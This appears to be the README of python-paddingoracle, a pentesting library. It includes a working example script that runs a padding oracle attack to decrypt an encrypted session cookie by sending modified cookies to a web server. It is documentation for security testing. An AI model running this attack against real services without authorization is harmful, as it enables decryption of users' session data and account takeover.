python-paddingoracle is an API that provides pentesters a customizable alternative to PadBuster and other padding oracle exploit tools that can't easily (without a heavy rewrite) be used in unique, per-app scenarios. Think non-HTTP applications, raw sockets, client applications, unique encodings, etc.
To use the paddingoracle API, simply implement the oracle() method from the PaddingOracle API and raise a BadPaddingException when the decrypter reveals a padding oracle. To decrypt data, pass raw encrypted bytes to decrypt() with a block size (typically 8 or 16) and optional iv parameter.
See below for an example (from the example):
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
self.wait = kwargs.get('wait', 2.0)
def oracle(self, data, **kwargs):
somecookie = quote(b64encode(data))
self.session.cookies['somecookie'] = somecookie
while 1:
try:
response = self.session.get('http://www.example.com/',
stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue
self.history.append(response)
if response.ok:
logging.debug('No padding exception raised on %r', somecookie)
return
# An HTTP 500 error was returned, likely due to incorrect padding
raise BadPaddingException
if __name__ == '__main__':
import logging
import sys
if not sys.argv[1:]:
print 'Usage: %s <somecookie value>' % (sys.argv[0], )
sys.exit(1)
logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[1]))
padbuster = PadBuster()
cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))
print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie))
python-paddingoracle is a Python implementation heavily based on PadBuster, an automated script for performing Padding Oracle attacks, developed by Brian Holyfield of Gotham Digital Science.